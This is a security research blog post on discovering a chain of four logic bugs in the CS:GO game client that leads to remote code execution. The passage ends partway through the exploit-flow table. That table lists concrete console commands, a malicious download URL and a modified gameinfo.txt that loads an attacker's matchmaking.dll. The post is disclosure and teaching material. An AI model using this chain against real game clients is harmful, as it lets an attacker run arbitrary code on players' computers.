		The many game modes, community servers and modding support take a toll: a large attack surface. The many file formats such as textures, 3D models and AI navigation points go through a wide variety of parsers with completely attacker-controlled data as the data is shipped directly from the CS:GO server. In addition, the source engine implements its own TCP-like network stack based on UDP with all the associated problems in such a complex implementation. The network implementation has already been exploited in <a href="https://research.checkpoint.com/2020/game-on-finding-vulnerabilities-in-valves-steam-sockets/" rel="external nofollow">other attacks</a>.
	</p>

	<h2>
		Know your target
	</h2>

	<p>
		Security research is not about blindly poking around and looking for security gaps. Because: Only when you have fully understood a target, you are in a position to break through the technical restrictions. The first step should therefore be to obtain as much information about the target as possible. The following sections provide ideas for this “recon” phase:
	</p>

	<h3>
		Software Development Kits
	</h3>

	<p>
		Games with modding support often provide an <a href="https://developer.valvesoftware.com/wiki/SDK_Installation" rel="external nofollow">official software development kit</a> (SDK). While the SDK does not contain the target’s source code, the structures defined there provide valuable information on <a href="https://github.com/SteamDatabase/Protobufs" rel="external nofollow">network packages</a> and class definitions that help to understand the engine. For Valve games in particular, there have also been several source code leaks of the engine or complete games (2003, 2007, and 2020). Although the source code is often outdated and contains many, now fixed, security holes, these leaks are very helpful. Mostly because source code is simply more pleasant to read than compiler-optimized assembly.
	</p>

	<h3>
		Public Research
	</h3>

	<p>
		CS:GO is well known, thus we were not the first researchers looking for bugs in this game. Therefore, we searched the Internet for <a href="https://phoenhex.re/2018-08-26/csgo-fuzzing-bsp" rel="external nofollow">helpful blogposts</a> and <a href="https://insomnihack.ch/wp-content/uploads/2017/04/AC_remote_exploitation_of_valve_source.pdf" rel="external nofollow">presentations</a> at <a href="https://www.youtube.com/watch?v=4weoWSzuCxs" rel="external nofollow">conferences</a>. The information described in this public research is often reduced to the essentials and makes it easier to find one’s way around a new, complex target.
	</p>

	<h3>
		Cheating Communities
	</h3>

	<p>
		Super annoying in the game, loved by security researchers: Cheater communities like <a href="https://unknowncheats.me/" rel="external nofollow">UnknownCheats</a> exist. These forums provide detailed reverse engineering posts and internals to the engine. In this case, Felipe had already written a <a href="https://www.youtube.com/watch?v=nn_hD1-Xe5Q" rel="external nofollow">Network Cheat</a> that contributed a lot to the understanding of the network protocol.
	</p>

	<h3>
		Debug Symbols
	</h3>

	<p>
		Debug symbols contain the otherwise unrecognizable function names and class structures that make reverse engineering much more convenient. Sometimes versions of the game are also intentionally shipped with debug symbols to generate better error reports. However, sometimes programmers forget to remove the debug symbols from the final binaries of the game. Programmers are humans, and humans make mistakes.
	</p>

	<center>
		<p>
			 
		</p>
		<img alt="CS:GO Binary with Debug Symbols" data-ratio="72.97" src="https://neodyme.io/blog/csgo_from_zero_to_0day/symbols.png" />
		<p>
			CS:GO Binary with Debug Symbols
		</p>

		<p>
			 
		</p>
	</center>

	<p>
		The CS:GO version for macOS from April 2017 (shown below) contained full debug symbols. Game files with symbols are many times larger than without and can therefore be identified automatically using <a href="https://steamdb.info/app/730/depots/" rel="external nofollow">SteamDB</a> and old repositories.
	</p>

	<pre>2017-04-26T00:15:42+00:00 [M:8167272392035836136]
csgo/bin/osx64/server.dylib (+9.30 MiB)
bin/osx64/engine.dylib (+5.17 MiB)
bin/osx64/scaleformui.dylib (+3.23 MiB)
csgo/bin/osx64/client.dylib (+12.13 MiB)
bin/osx64/materialsystem.dylib (+2.18 MiB)</pre>

	<p>
		While in 2021 it was still possible to specifically download old versions using SteamCMD, the feature seems to have been disabled by Valve in the meantime.
	</p>

	<h3>
		Fuzzing
	</h3>

	<p>
		Despite all the information, you have to invest many hours in reverse engineering the target. Only once you have fully understood which buffer processes the network data in which virtual function with which arguments you can start doing exciting things. But the effort is worth it: we found instant client crashes using <a href="https://github.com/google/honggfuzz" rel="external nofollow">Hongfuzz</a>, the <a href="https://github.com/SteamDatabase/Protobufs/tree/master/csgo" rel="external nofollow">public protobuf network structures</a>, and <a href="https://github.com/google/libprotobuf-mutator" rel="external nofollow">libprotobuf-mutator</a>. These crashes directly provided instruction pointer control and were thus very likely exploitable! To test the full extent and develop exploit strategies, we decided to implement our own early-stage server in Python.
	</p>

	<h2>
		The discovery of four logic bugs
	</h2>

	<p>
		For a target like CS:GO, due to years of development and public bug bounty program, simple bugs are most likely fixed by now. If you are only looking for stack overflows in random methods of the huge engine.dll, you will quickly give up in frustration. But it is true: every little anomaly can prove to be valuable in combination with other gaps. During the weeks of staring at the CS:GO disassembly and source-code leaks, we constantly asked ourselves the following questions:
	</p>

	<p>
		 
	</p>

	<ul>
		<li>
			What primitives do we already have?
		</li>
		<li>
			What can we do by combining them?
		</li>
		<li>
			What security mechanisms are there?
		</li>
		<li>
			What weird edge cases might a developer not have considered?
		</li>
	</ul>

	<p>
		 
	</p>

	<p>
		Memory corruption exploitation is hard. Although two of the three full-chain exploits submitted by us to Valve were memory corruptions, that meant extremely high overhead and always the risk that the client would crash because of an unfavorable memory allocation. Starting CS:GO and connecting to a server loading the map took several minutes each time, which made development very tough.
	</p>

	<p>
		In this post, rather then explaining weird heap feng shui mechanisms, focus on four logic bugs that together led to our goal of remote code execution on the client. The order of discovery was as follows.
	</p>

	<h3>
		Bug 1: Execution of privileged commands from the server
	</h3>

	<p>
		 
	</p>

	<div>
		This bug allows the attacker to execute “privileged” commands on the client that usually only work in the single player mode
	</div>

	<p>
		 
	</p>

	<p>
		To verify that our custom python CS:GO server is actually working, we sent the command echo Hello World! to the client via CNETMsg_StringCmd and, as expected, received the output Hello World! on the game console. Randomly, we also tried sending the quit command. And the game closed! We couldn’t believe that a server is allowed to do that. As it turns out, it is usually not allowed to do so: With the help of <a href="https://www.sourcemod.net/" rel="external nofollow">SourceMod</a>, a source engine modding framework that can also send messages to the client, we recreated the same setup with an official and modded server. The result: FCVAR_SERVER_CAN_EXECUTE prevented server running command: quit. Did we find our entry bug? How exactly does the bug occur?
	</p>

	<p>
		 
	</p>

	<p>
		Source engine single-player games internally use a locally hosted source engine server. The single-player client then connects to its own server to join the game. This single-player server should of course have far-reaching rights, e.g., to change the keyboard layout on the client or to take screenshots.
	</p>

	<p>
		 
	</p>

	<p>
		A multi-player server is recognized as a local, and thus privileged, single player server if only a maximum of one client can connect to the server. The vulnerability is in the determination of the server type: The maximal number of clients that can connect to the server is controlled by the variable m_nMaxClients and is received by the client when connecting to a server. By chance, our Python server had set the variable m_nMaxClients to 1. And with this we could execute privileged commands on the client!
	</p>

	<center>
		<p>
			 
		</p>
		<img alt="Host_IsSinglePlayerGame Check" data-ratio="46.05" src="https://neodyme.io/blog/csgo_from_zero_to_0day/max_clients.png" />
		<p>
			Host_IsSinglePlayerGame Check
		</p>

		<p>
			 
		</p>
	</center>

	<h3>
		Bug 2: Arbitrary file download due to extension stripping
	</h3>

	<p>
		 
	</p>

	<div>
		This bug allows the attacker to download files with arbitrary file extensions, bypassing the extension filter
	</div>

	<p>
		 
	</p>

	<p>
		Source engine servers can send additional game files such as maps or player models to the client. The data transfer can be done either via the source network protocol or HTTP fast_dl. To prevent malicious files from being sent to the client, certain file extensions like *.exe, *.dll, *.ini are blocked.
	</p>

	<p>
		 
	</p>

	<p>
		If the fast_dl option is set, additional content is loaded from a specified HTTP server rather then from the CS:GO server directly. The URL is dynamically generated from the server name and the full file name by the snprintf(p_cResult, 256, "%s/%s", p_cServerName, p_cFileName) function. The snprintf function limits the length of the resulting string to 256 characters, thus truncating unnecessary characters from the file name. But both p_cServerName and p_cFileName can have a length of 256 characters each! A file name like ././[..]/file.AAA.BBB can be terminated specifically after the .AAA extension, as the .BBB part is truncated by the snprintf function. The filter for potentially dangerous files can thus be bypassed completely!
	</p>

	<p>
		 
	</p>

	<p>
		The following source snipped illustrates that the extension is stripped:
	</p>

	<p>
		 
	</p>

	<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="com">#include</span><span class="pln"> </span><span class="str">&lt;stdio.h&gt;</span><span class="pln">

</span><span class="typ">int</span><span class="pln"> main</span><span class="pun">()</span><span class="pln">
</span><span class="pun">{</span><span class="pln">
    </span><span class="kwd">unsigned</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> p_cResult</span><span class="pun">[</span><span class="lit">32</span><span class="pun">];</span><span class="pln">

    </span><span class="com">// String fits into 32 byte and includes the `.bsp` part</span><span class="pln">
    snprintf</span><span class="pun">(</span><span class="pln">p_cResult</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%s/%s"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"AAAAAAAAAAAAAAAA"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"evil.dll.bsp"</span><span class="pun">);</span><span class="pln">       
    printf</span><span class="pun">(</span><span class="str">"%s\n"</span><span class="pun">,</span><span class="pln"> p_cResult</span><span class="pun">);</span><span class="pln"> </span><span class="com">// Output: AAAAAAAAAAAAAAAA/evil.dll.bsp</span><span class="pln">

    </span><span class="com">// Long enough string to truncate the `.bsp` part</span><span class="pln">
    snprintf</span><span class="pun">(</span><span class="pln">p_cResult</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%s/%s"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"AAAAAAAAAAAAAAAAAAAAAA"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"evil.dll.bsp"</span><span class="pun">);</span><span class="pln"> 
    printf</span><span class="pun">(</span><span class="str">"%s\n"</span><span class="pun">,</span><span class="pln"> p_cResult</span><span class="pun">);</span><span class="pln"> </span><span class="com">// Output: AAAAAAAAAAAAAAAAAAAAAA/evil.dll</span><span class="pln">
    
    </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln">
</span><span class="pun">}</span></pre>

	<center>
		<p>
			 
		</p>
		<img alt="Vulnerable snprintf function cuts remaining data from string" data-ratio="98.58" src="https://neodyme.io/blog/csgo_from_zero_to_0day/snprintf.png" />
		<p>
			Vulnerable snprintf function cuts remaining data from string
		</p>

		<p>
			 
		</p>
	</center>

	<p>
		This vulnerability was found through code analysis of the fast_dl protocol, which has not changed much in recent years.
	</p>

	<h3>
		Bug 3: Arbitrary text file write in game directory
	</h3>

	<p>
		 
	</p>

	<div>
		This bug allows the attacker to (over)write arbitrary files in the game folder
	</div>

	<p>
		 
	</p>

	<p>
		At this point, we were not sure how to combine the two previous bugs. Therefore, we searched the CS:GO binary for helpful privileged commands. With the con_logfile command, we surprisingly discovered that this command could write arbitrary *.log files to arbitrary game folders. Due to a similar extension stripping bug by snprintf it was also possible to specify an arbitrary file extension and thus write text files with arbitrary contents and an arbitrary extension.
	</p>

	<p>
		 
	</p>

	<p>
		Specifically, this bug could be used to create a new configuration file cfg/leak.log with arbitrary CS:GO commands. The leak.log “config” file could then the loaded by the exec leak.log command, reading the file from the cfg folder.
	</p>

	<h3>
		Bug 4: Fallback to disabled signature checks
	</h3>

	<p>
		 
	</p>

	<div>
		This bug allows the attacker to launch the CS:GO client in the “insecure” mode, allowing to load non-signed game binaries
	</div>

	<p>
		 
	</p>

	<p>
		When starting the CS:GO client, the integrity of the game DLLs is verified via matching hash values. Only after this verification it is possible to play on official servers. If the DLL verification fails, a fallback to the insecure mode occurs. This can also be achieved by the additional command line argument -insecure. Only in this mode, additional DLLs not located in the bin/ game path can be loaded. If the attacker succeeds in making the DLL verification fail, they can create their own DLLs, refer to these DLLs in the configuration and achieve command execution. On Windows, an attacker can specify code that is executed when the DLL is loaded into a process. Thus, the attacker can execute arbitrary code on the client system.
	</p>

	<p>
		 
	</p>

	<p>
		Windows prevents the overwriting of DLLs, which are loaded in a running process. Therefore, we had to find a DLL that is verified at game start but is not loaded into the process. Fortunately, we found that the client.dll had been replaced by the client_panorama.dll and is therefore no longer loaded, but is still verified! Overwriting client.dll with arbitrary text (bug 3) thus caused the verification to fail.
	</p>

	<h2>
		Full logic bug chain
	</h2>

	<p>
		The full bug chain uses all four bugs to:
	</p>

	<ol>
		<li>
			execute privileged commands on the client
		</li>
		<li>
			download a malicious DLL to the game directory
		</li>
		<li>
			replace the gameinfo.txt so that the malicious DLL is loaded on game startup
		</li>
		<li>
			corrupt the client.dll to achieve a fallback to the insecure mode
		</li>
		<li>
			 
		</li>
	</ol>

	<p>
		To understand the following steps, we still need to introduce two elements typical for source engines: the gameinfo.txt and CVars:
	</p>

	<h3>
		Gameinfo.txt
	</h3>

	<p>
		All source engine based games are actually “add-ons” to the basic Half-Life game. Assets and DLLs for the game are loaded from a special path defined in the file gameinfo.txt:
	</p>

	<p>
		 
	</p>

	<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="str">"GameInfo"</span><span class="pln">
</span><span class="pun">{</span><span class="pln">
	game	</span><span class="str">"Counter-Strike: Global Offensive"</span><span class="pln">
	title	</span><span class="str">"COUNTER-STRIKE'"</span><span class="pln">
	title2	</span><span class="str">"GO"</span><span class="pln">
	type multiplayer_only

	</span><span class="pun">[</span><span class="pln"> </span><span class="pun">...]</span><span class="pln">

	</span><span class="typ">FileSystem</span><span class="pln">
	</span><span class="pun">{</span><span class="pln">
		</span><span class="typ">SteamAppId</span><span class="pln">				</span><span class="lit">730</span><span class="pln">	</span><span class="com">// This will mount all the GCFs we need (240=CS:S, 220=HL2).</span><span class="pln">
		</span><span class="typ">ToolsAppId</span><span class="pln">				</span><span class="lit">211</span><span class="pln">	
		</span><span class="typ">SearchPaths</span><span class="pln">
		</span><span class="pun">{</span><span class="pln">
			</span><span class="typ">Game</span><span class="pln">				</span><span class="pun">|</span><span class="pln">gameinfo_path</span><span class="pun">|/</span><span class="pln">exploit </span><span class="com">// NOTE: Added by our exploit</span><span class="pln">
			</span><span class="typ">Game</span><span class="pln">				</span><span class="pun">|</span><span class="pln">gameinfo_path</span><span class="pun">|.</span><span class="pln">
		</span><span class="pun">}</span><span class="pln">
	</span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span></pre>

	<p>
		 
	</p>

	<p>
		By setting |gameinfo_path|/exploit as first in the FileSystem array, the engine tries to load missing DLLs from this path. Only if the element to be loaded is not found there, the original game path is used. One DLL that is loaded at game start is matchmaking.dll. This means that we can place a new matchmaking.dll and invoke arbitrary code when the CS:GO client loads the DLL.
	</p>

	<h3>
		CVars
	</h3>

	<p>
		CVars are a fundamental concept in SourceEngine games and appear everywhere. These variables control pretty much everything there is to set up in the game: paths, key-binds, the appearance of crosshairs, the game mode, etc. Also the legendary sv_cheats variable, which many Counter Strike players probably have already heard of, is a CVar. Depending on CVar, the settings can also be set by the server and thus override local options.
	</p>

	<p>
		 
	</p>

	<p>
		Upon connecting, the client tells the server which local CVars are set at the client, so that the server can react accordingly. For example, the server can kick the client if sv_cheats is set to 1 at the client. As an attacker, we need to know the installation directory from the CS:GO client so that we can exploit bug 2 and bug 4 by taking a path that is just the right length. Unfortunately, by default, the client does not send along a CVar that contains the current game directory. We therefore use a trick to set the new CVAR GAMEBIN and have it sent back to the attacker-controlled server. The basic idea:
	</p>

	<p>
		 
	</p>

	<ol>
		<li>
			Execute a “script” leak.log to set the CVar GAMEBIN
		</li>
		<li>
			Instruct the client to reconnect to the malicious server
		</li>
		<li>
			Upon reconnection, all CVars and set back to the malicious server
		</li>
	</ol>

	<p>
		 
	</p>

	<p>
		The details involve invoking the path command from a config file to set the CVAR GAMEBIN to the installation path of the game. We leverage the attacker-written config file leak.log, which includes the path command. The client has to execute the config file, otherwise the CVar is not stored persistently during the next server connect. The leak.log file is executed with the exec command. Afterwards the malicous server instructs the client to reconnect. Upon reconnection, the CVar is leaked back to the server.
	</p>

	<h3>
		Exploit flow
	</h3>

	<table style="background-color:#171717;border-collapse:collapse;border-color:inherit;border-style:solid;border-width:0px;color:#d1d5db;font-size:0.888889em;text-align:left;">
		<thead style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
			<tr style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
				<th style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:bottom;">
					Component
				</th>
				<th style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:bottom;">
					Command
				</th>
				<th style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:bottom;">
					Result
				</th>
				<th style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:bottom;">
					Bug
				</th>
			</tr>
		</thead>
		<tbody style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" /><span style="border-color:#e5e7eb;border-style:solid;border-width:0px;">→</span><img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="server.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/server.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">connect</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					Client connects to malicious, attacker controlled server
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					 
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="server.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/server.svg" /><span style="border-color:#e5e7eb;border-style:solid;border-width:0px;">→</span><img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">m_nMaxClients = 1</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					The server can now execute privileged commands on the client
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#bug-1-execution-of-privileged-commands-from-the-server" style="border-color:#e5e7eb;border-style:solid;border-width:0px;" rel="external nofollow">Bug 1</a>
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="server.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/server.svg" /><span style="border-color:#e5e7eb;border-style:solid;border-width:0px;">→</span><img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">sv_downloadurl =<br style="border-color:#e5e7eb;border-style:solid;border-width:0px;" />
					http://&lt;attacker-controlled&gt;/</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					The client has<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">fast_dl</code><span> </span>http downloads enabled to download missing assets
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					 
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="server.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/server.svg" /><span style="border-color:#e5e7eb;border-style:solid;border-width:0px;">→</span><img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">con_logfile cfg/leak.log<br style="border-color:#e5e7eb;border-style:solid;border-width:0px;" />
					path<br style="border-color:#e5e7eb;border-style:solid;border-width:0px;" />
					con_logfile disable<br style="border-color:#e5e7eb;border-style:solid;border-width:0px;" />
					exec leak.log</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					The client executes the<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">path</code><span> </span>command and stores the result in<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">GAMEBIN</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					 
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="server.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/server.svg" /><span style="border-color:#e5e7eb;border-style:solid;border-width:0px;">→</span><img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">reconnect</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					The client reconnects and sends all<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">CVars</code><span> </span>to the server, leaking the<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">GAMEBIN</code>. The server then creates the<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">downloadtables</code><span> </span>with a precisely long filename size such that the extension is stripped
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#bug-2-arbitrary-file-download-due-to-extension-stripping" style="border-color:#e5e7eb;border-style:solid;border-width:0px;" rel="external nofollow">Bug 2</a>
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" /><span style="border-color:#e5e7eb;border-style:solid;border-width:0px;">→</span><img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="server.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/server.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">&lt;fast_dl download code&gt;</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					The client downloads the malicious<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">exploit/bin/matchmaking.dll</code><span> </span>and<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">gameinfo.txt</code><span> </span>from the HTTP server
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#bug-2-arbitrary-file-download-due-to-extension-stripping" style="border-color:#e5e7eb;border-style:solid;border-width:0px;" rel="external nofollow">Bug 2</a>
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="server.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/server.svg" /><span style="border-color:#e5e7eb;border-style:solid;border-width:0px;">→</span><img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">con_logfile ././././[…]/bin/client.dll.log</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					The<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">bin/client.dll</code><span> </span>is overwritten with a logfile entry (not a valid DLL anymore)
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#bug-3-arbitrary-text-file-write-in-game-directory" style="border-color:#e5e7eb;border-style:solid;border-width:0px;" rel="external nofollow">Bug 3</a>
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="server.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/server.svg" /><span style="border-color:#e5e7eb;border-style:solid;border-width:0px;">→</span><img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">crash</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					The client crashes. The user restarts the client.
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					 
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
